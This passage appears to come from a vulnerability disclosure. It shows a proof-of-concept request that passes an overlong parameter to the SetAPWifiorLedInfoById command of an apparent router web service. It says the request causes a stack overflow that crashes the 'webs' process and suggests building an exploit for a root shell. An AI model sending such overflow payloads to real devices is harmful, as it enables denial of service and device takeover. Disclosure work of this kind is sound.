CMD=SetAPWifiorLedInfoById&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/Ah3gEcu.png) We can see process webs is crashed and restarted. !\[\](https://i.imgur.com/nTphgnu.png) And you can write your own exp to get the root shell.

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